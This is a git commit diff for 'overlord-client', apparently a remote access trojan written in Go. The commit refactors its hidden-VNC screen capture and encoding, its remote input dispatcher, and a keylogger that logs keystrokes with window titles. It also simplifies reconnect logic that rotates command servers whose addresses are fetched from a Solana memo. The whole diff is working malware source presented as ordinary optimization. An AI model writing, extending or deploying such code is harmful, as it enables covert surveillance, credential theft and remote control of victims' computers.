optimizations + clean some code

This commit is contained in:
KingKDot
2026-05-21 23:28:06 -05:00
parent 06b001e5a1
commit bd47b233d6
7 changed files with 189 additions and 120 deletions
+113 -54
View File
@@ -3,7 +3,6 @@ package capture
import ( import (
"bytes" "bytes"
"context" "context"
"encoding/binary"
"errors" "errors"
"image" "image"
"image/draw" "image/draw"
@@ -798,6 +797,28 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
type streamRegion struct{ x, y, w, h int } type streamRegion struct{ x, y, w, h int }
type encodeBufs struct {
changedGrid []bool
visited []bool
}
var (
encodeBufsPool = sync.Pool{New: func() interface{} { return &encodeBufs{} }}
frameBufPool = sync.Pool{New: func() interface{} { return bytes.NewBuffer(make([]byte, 0, 512*1024)) }}
)
func writeUint16LE(buf *bytes.Buffer, v uint16) {
buf.WriteByte(byte(v))
buf.WriteByte(byte(v >> 8))
}
func writeUint32LE(buf *bytes.Buffer, v uint32) {
buf.WriteByte(byte(v))
buf.WriteByte(byte(v >> 8))
buf.WriteByte(byte(v >> 16))
buf.WriteByte(byte(v >> 24))
}
type roiHint struct { type roiHint struct {
rect image.Rectangle rect image.Rectangle
weight int weight int
@@ -812,7 +833,21 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
blocksWide := (width + blockSize - 1) / blockSize blocksWide := (width + blockSize - 1) / blockSize
blocksHigh := (height + blockSize - 1) / blockSize blocksHigh := (height + blockSize - 1) / blockSize
changedGrid := make([]bool, blocksWide*blocksHigh)
total := blocksWide * blocksHigh
eb := encodeBufsPool.Get().(*encodeBufs)
defer encodeBufsPool.Put(eb)
if cap(eb.changedGrid) < total {
eb.changedGrid = make([]bool, total)
eb.visited = make([]bool, total)
} else {
eb.changedGrid = eb.changedGrid[:total]
eb.visited = eb.visited[:total]
clear(eb.changedGrid)
clear(eb.visited)
}
changedGrid := eb.changedGrid
visited := eb.visited
changedCount := 0 changedCount := 0
passDetectStart := time.Now() passDetectStart := time.Now()
@@ -843,17 +878,11 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
statDetectNs.Add(time.Since(passDetectStart).Nanoseconds()) statDetectNs.Add(time.Since(passDetectStart).Nanoseconds())
if changedCount == 0 { if changedCount == 0 {
buf := bytes.Buffer{} return 0, []byte{byte(width), byte(width >> 8), byte(height), byte(height >> 8), 0, 0, 0, 0}, 0, nil
_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
return 0, buf.Bytes(), 0, nil
} }
mergeStart := time.Now() mergeStart := time.Now()
var regions []streamRegion var regions []streamRegion
visited := make([]bool, len(changedGrid))
for by := 0; by < blocksHigh; by++ { for by := 0; by < blocksHigh; by++ {
for bx := 0; bx < blocksWide; bx++ { for bx := 0; bx < blocksWide; bx++ {
@@ -926,39 +955,50 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
statMergeNs.Add(time.Since(mergeStart).Nanoseconds()) statMergeNs.Add(time.Since(mergeStart).Nanoseconds())
buf := bytes.Buffer{} buf := frameBufPool.Get().(*bytes.Buffer)
_ = binary.Write(&buf, binary.LittleEndian, uint16(width)) buf.Reset()
_ = binary.Write(&buf, binary.LittleEndian, uint16(height)) defer frameBufPool.Put(buf)
_ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions)))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0)) writeUint16LE(buf, uint16(width))
writeUint16LE(buf, uint16(height))
writeUint16LE(buf, uint16(len(regions)))
writeUint16LE(buf, 0)
totalEncDur := time.Duration(0) totalEncDur := time.Duration(0)
for _, r := range regions { for _, r := range regions {
t0 := time.Now() t0 := time.Now()
var payload []byte writeUint16LE(buf, uint16(r.x))
var err error writeUint16LE(buf, uint16(r.y))
writeUint16LE(buf, uint16(r.w))
writeUint16LE(buf, uint16(r.h))
var encErr error
if codec == "raw" { if codec == "raw" {
payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h) payload := encodeBlockRaw(img, r.x, r.y, r.w, r.h)
writeUint32LE(buf, uint32(len(payload)))
buf.Write(payload)
} else { } else {
blockQuality := quality + 10 blockQuality := quality + 10
if blockQuality > 100 { if blockQuality > 100 {
blockQuality = 100 blockQuality = 100
} }
payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality) lenPos := buf.Len()
writeUint32LE(buf, 0) // placeholder; patched below with actual JPEG size
encErr = encodeJPEGToBuf(buf, img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
if encErr == nil {
jpegLen := uint32(buf.Len() - lenPos - 4)
b := buf.Bytes()
b[lenPos] = byte(jpegLen)
b[lenPos+1] = byte(jpegLen >> 8)
b[lenPos+2] = byte(jpegLen >> 16)
b[lenPos+3] = byte(jpegLen >> 24)
}
} }
blockDur := time.Since(t0) blockDur := time.Since(t0)
totalEncDur += blockDur totalEncDur += blockDur
statBlkJpegNs.Add(blockDur.Nanoseconds()) statBlkJpegNs.Add(blockDur.Nanoseconds())
if err != nil { if encErr != nil {
return len(regions), nil, totalEncDur, err return len(regions), nil, totalEncDur, encErr
} }
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.x))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.y))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.w))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.h))
_ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload)))
buf.Write(payload)
} }
prevCopyStart := time.Now() prevCopyStart := time.Now()
@@ -967,7 +1007,9 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
prevMu.Unlock() prevMu.Unlock()
statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds()) statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds())
return len(regions), buf.Bytes(), totalEncDur, nil out := make([]byte, buf.Len())
copy(out, buf.Bytes())
return len(regions), out, totalEncDur, nil
} }
func blockChanged(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool { func blockChanged(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
@@ -1152,7 +1194,21 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
blocksWide := (width + blockSize - 1) / blockSize blocksWide := (width + blockSize - 1) / blockSize
blocksHigh := (height + blockSize - 1) / blockSize blocksHigh := (height + blockSize - 1) / blockSize
changedGrid := make([]bool, blocksWide*blocksHigh)
total := blocksWide * blocksHigh
eb := encodeBufsPool.Get().(*encodeBufs)
defer encodeBufsPool.Put(eb)
if cap(eb.changedGrid) < total {
eb.changedGrid = make([]bool, total)
eb.visited = make([]bool, total)
} else {
eb.changedGrid = eb.changedGrid[:total]
eb.visited = eb.visited[:total]
clear(eb.changedGrid)
clear(eb.visited)
}
changedGrid := eb.changedGrid
visited := eb.visited
changedCount := 0 changedCount := 0
passDetectStart := time.Now() passDetectStart := time.Now()
@@ -1179,17 +1235,11 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
statDetectNs.Add(time.Since(passDetectStart).Nanoseconds()) statDetectNs.Add(time.Since(passDetectStart).Nanoseconds())
if changedCount == 0 { if changedCount == 0 {
buf := bytes.Buffer{} return 0, []byte{byte(width), byte(width >> 8), byte(height), byte(height >> 8), 0, 0, 0, 0}, 0, nil
_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
return 0, buf.Bytes(), 0, nil
} }
mergeStart := time.Now() mergeStart := time.Now()
var regions []streamRegion var regions []streamRegion
visited := make([]bool, len(changedGrid))
for by := 0; by < blocksHigh; by++ { for by := 0; by < blocksHigh; by++ {
for bx := 0; bx < blocksWide; bx++ { for bx := 0; bx < blocksWide; bx++ {
@@ -1261,37 +1311,44 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
sortRegionsByROI(regions, rois) sortRegionsByROI(regions, rois)
statMergeNs.Add(time.Since(mergeStart).Nanoseconds()) statMergeNs.Add(time.Since(mergeStart).Nanoseconds())
buf := bytes.Buffer{} buf := frameBufPool.Get().(*bytes.Buffer)
_ = binary.Write(&buf, binary.LittleEndian, uint16(width)) buf.Reset()
_ = binary.Write(&buf, binary.LittleEndian, uint16(height)) defer frameBufPool.Put(buf)
_ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions)))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0)) writeUint16LE(buf, uint16(width))
writeUint16LE(buf, uint16(height))
writeUint16LE(buf, uint16(len(regions)))
writeUint16LE(buf, 0)
totalEncDur := time.Duration(0) totalEncDur := time.Duration(0)
for _, r := range regions { for _, r := range regions {
encStart := time.Now() encStart := time.Now()
var payload []byte writeUint16LE(buf, uint16(r.x))
var err error writeUint16LE(buf, uint16(r.y))
writeUint16LE(buf, uint16(r.w))
writeUint16LE(buf, uint16(r.h))
if codec == "raw" { if codec == "raw" {
payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h) payload := encodeBlockRaw(img, r.x, r.y, r.w, r.h)
writeUint32LE(buf, uint32(len(payload)))
buf.Write(payload)
} else { } else {
blockQuality := quality + 10 blockQuality := quality + 10
if blockQuality > 100 { if blockQuality > 100 {
blockQuality = 100 blockQuality = 100
} }
payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality) lenPos := buf.Len()
if err != nil { writeUint32LE(buf, 0) // placeholder; patched below with actual JPEG size
if err := encodeJPEGToBuf(buf, img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality); err != nil {
return 0, nil, 0, err return 0, nil, 0, err
} }
jpegLen := uint32(buf.Len() - lenPos - 4)
b := buf.Bytes()
b[lenPos] = byte(jpegLen)
b[lenPos+1] = byte(jpegLen >> 8)
b[lenPos+2] = byte(jpegLen >> 16)
b[lenPos+3] = byte(jpegLen >> 24)
} }
totalEncDur += time.Since(encStart) totalEncDur += time.Since(encStart)
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.x))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.y))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.w))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.h))
_ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload)))
buf.Write(payload)
} }
prevCopyStart := time.Now() prevCopyStart := time.Now()
@@ -1300,7 +1357,9 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
prevMu.Unlock() prevMu.Unlock()
statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds()) statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds())
return len(regions), buf.Bytes(), totalEncDur, nil out := make([]byte, buf.Len())
copy(out, buf.Bytes())
return len(regions), out, totalEncDur, nil
} }
func copyPrev(img *image.RGBA) { func copyPrev(img *image.RGBA) {
@@ -27,3 +27,15 @@ func encodeJPEG(img image.Image, quality int) ([]byte, error) {
jpegBufPool.Put(buf) jpegBufPool.Put(buf)
return out, nil return out, nil
} }
func encodeJPEGToBuf(dst *bytes.Buffer, img image.Image, quality int) error {
buf := jpegBufPool.Get().(*bytes.Buffer)
buf.Reset()
if err := jpeg.Encode(buf, img, &jpeg.Options{Quality: quality}); err != nil {
jpegBufPool.Put(buf)
return err
}
dst.Write(buf.Bytes())
jpegBufPool.Put(buf)
return nil
}
@@ -21,3 +21,12 @@ func encodeJPEG(img image.Image, quality int) ([]byte, error) {
} }
return buf.Bytes(), nil return buf.Bytes(), nil
} }
func encodeJPEGToBuf(dst *bytes.Buffer, img image.Image, quality int) error {
opts := &ljpeg.EncoderOptions{
Quality: quality,
OptimizeCoding: true,
DCTMethod: ljpeg.DCTISlow,
}
return ljpeg.Encode(dst, img, opts)
}
@@ -13,8 +13,7 @@ func GetRGBA(w, h int) *image.RGBA {
return image.NewRGBA(image.Rect(0, 0, w, h)) return image.NewRGBA(image.Rect(0, 0, w, h))
} }
if v := rgbaPool.Get(); v != nil { if v := rgbaPool.Get(); v != nil {
buf := v.([]byte) if buf, ok := v.([]byte); ok && cap(buf) >= need {
if cap(buf) >= need {
return &image.RGBA{ return &image.RGBA{
Pix: buf[:need], Pix: buf[:need],
Stride: w * 4, Stride: w * 4,
@@ -4,6 +4,7 @@ import (
"context" "context"
"fmt" "fmt"
"log" "log"
"maps"
"overlord-client/cmd/agent/capture" "overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/runtime"
@@ -25,10 +26,9 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
} }
}() }()
msgTypeRaw := envelope["type"] msgType, ok := envelope["type"].(string)
msgType, _ := msgTypeRaw.(string) if !ok || msgType == "" {
if msgType == "" { log.Printf("dispatcher: missing type (keys=%v)", maps.Keys(envelope))
log.Printf("dispatcher: missing type (keys=%v)", envelopeKeys(envelope))
return nil return nil
} }
switch msgType { switch msgType {
@@ -43,12 +43,7 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
return nil return nil
case "command": case "command":
cmdType, _ := envelope["commandType"].(string) cmdType, _ := envelope["commandType"].(string)
switch cmdType { if !isInputCommand(cmdType) {
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
"desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
default:
log.Printf("dispatcher: handling command type=%s", cmdType) log.Printf("dispatcher: handling command type=%s", cmdType)
} }
return HandleCommand(ctx, d.Env, envelope) return HandleCommand(ctx, d.Env, envelope)
@@ -72,10 +67,13 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
} }
} }
func envelopeKeys(envelope map[string]interface{}) []string { func isInputCommand(cmdType string) bool {
keys := make([]string, 0, len(envelope)) switch cmdType {
for key := range envelope { case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
keys = append(keys, key) "desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
return true
} }
return keys return false
} }
@@ -369,9 +369,9 @@ func (k *Keylogger) logKey(key string) {
k.currentWindowTitle = windowTitle k.currentWindowTitle = windowTitle
} }
if k.currentWindowTitle != "" { if k.currentWindowTitle != "" {
k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle)) fmt.Fprintf(&k.buffer, "[%s] [%s] ", timestamp, k.currentWindowTitle)
} else { } else {
k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp)) fmt.Fprintf(&k.buffer, "[%s] ", timestamp)
} }
k.lineStarted = true k.lineStarted = true
} }
@@ -384,19 +384,24 @@ func (k *Keylogger) logKey(key string) {
} }
} }
var rot13Table = func() [256]byte {
var t [256]byte
for i := range t {
t[i] = byte(i)
}
for i := 0; i < 26; i++ {
t['a'+i] = byte('a' + (i+13)%26)
t['A'+i] = byte('A' + (i+13)%26)
}
return t
}()
func rot13(s string) string { func rot13(s string) string {
var result strings.Builder b := []byte(s)
for _, r := range s { for i, c := range b {
switch { b[i] = rot13Table[c]
case r >= 'a' && r <= 'z':
result.WriteRune('a' + (r-'a'+13)%26)
case r >= 'A' && r <= 'Z':
result.WriteRune('A' + (r-'A'+13)%26)
default:
result.WriteRune(r)
} }
} return string(b)
return result.String()
} }
func getTempDir() string { func getTempDir() string {
+22 -35
View File
@@ -14,6 +14,7 @@ import (
"os" "os"
"runtime" "runtime"
"runtime/debug" "runtime/debug"
"slices"
"strconv" "strconv"
"strings" "strings"
"time" "time"
@@ -87,17 +88,9 @@ func runClient(cfg config.Config) {
} }
if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) { if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
if refreshServerList(&cfg) { tryRefreshServerList(&cfg, &lastSolRefresh, &currentIndex, &consecutiveFailures)
lastSolRefresh = time.Now()
currentIndex = 0
consecutiveFailures = 0
}
}
if len(cfg.ServerURLs) > 1 {
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
} }
rotateToNextServer(&currentIndex, cfg.ServerURLs)
time.Sleep(backoff) time.Sleep(backoff)
cancel() cancel()
@@ -134,17 +127,9 @@ func runClient(cfg config.Config) {
lastDisconnect = time.Now() lastDisconnect = time.Now()
if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) { if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
if refreshServerList(&cfg) { tryRefreshServerList(&cfg, &lastSolRefresh, &currentIndex, &consecutiveFailures)
lastSolRefresh = time.Now()
currentIndex = 0
consecutiveFailures = 0
}
}
if len(cfg.ServerURLs) > 1 {
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
} }
rotateToNextServer(&currentIndex, cfg.ServerURLs)
} }
sleepFor := backoff sleepFor := backoff
@@ -162,6 +147,21 @@ func runClient(cfg config.Config) {
} }
} }
func rotateToNextServer(currentIndex *int, urls []string) {
if len(urls) > 1 {
*currentIndex = (*currentIndex + 1) % len(urls)
log.Printf("switching to next server [%d/%d]: %s", *currentIndex+1, len(urls), urls[*currentIndex])
}
}
func tryRefreshServerList(cfg *config.Config, lastSolRefresh *time.Time, currentIndex *int, consecutiveFailures *int) {
if refreshServerList(cfg) {
*lastSolRefresh = time.Now()
*currentIndex = 0
*consecutiveFailures = 0
}
}
func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions { func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions {
headers := http.Header{} headers := http.Header{}
if token := strings.TrimSpace(cfg.AgentToken); token != "" { if token := strings.TrimSpace(cfg.AgentToken); token != "" {
@@ -268,7 +268,7 @@ func refreshServerURLsFromSolana(cfg *config.Config) bool {
log.Printf("[config] WARNING: Solana memo returned no valid URLs") log.Printf("[config] WARNING: Solana memo returned no valid URLs")
return false return false
} }
if !equalStringSlices(cfg.ServerURLs, urls) { if !slices.Equal(cfg.ServerURLs, urls) {
log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls)) log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls))
cfg.ServerURLs = urls cfg.ServerURLs = urls
} }
@@ -287,24 +287,13 @@ func refreshServerURLsFromRaw(cfg *config.Config) bool {
return false return false
} }
if !equalStringSlices(cfg.ServerURLs, urls) { if !slices.Equal(cfg.ServerURLs, urls) {
log.Printf("[config] refreshed raw server list (%d servers)", len(urls)) log.Printf("[config] refreshed raw server list (%d servers)", len(urls))
cfg.ServerURLs = urls cfg.ServerURLs = urls
} }
return true return true
} }
func equalStringSlices(a, b []string) bool {
if len(a) != len(b) {
return false
}
for i := range a {
if a[i] != b[i] {
return false
}
}
return true
}
func createHTTPTransport(cfg config.Config) *http.Transport { func createHTTPTransport(cfg config.Config) *http.Transport {
tlsConfig := &tls.Config{ tlsConfig := &tls.Config{
@@ -389,8 +378,6 @@ func classifyDialError(err error) string {
} }
func computeBaseBackoff() time.Duration { func computeBaseBackoff() time.Duration {
mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE")))
_ = mode
return randomReconnectDelay(10*time.Second, 30*time.Second) return randomReconnectDelay(10*time.Second, 30*time.Second)
} }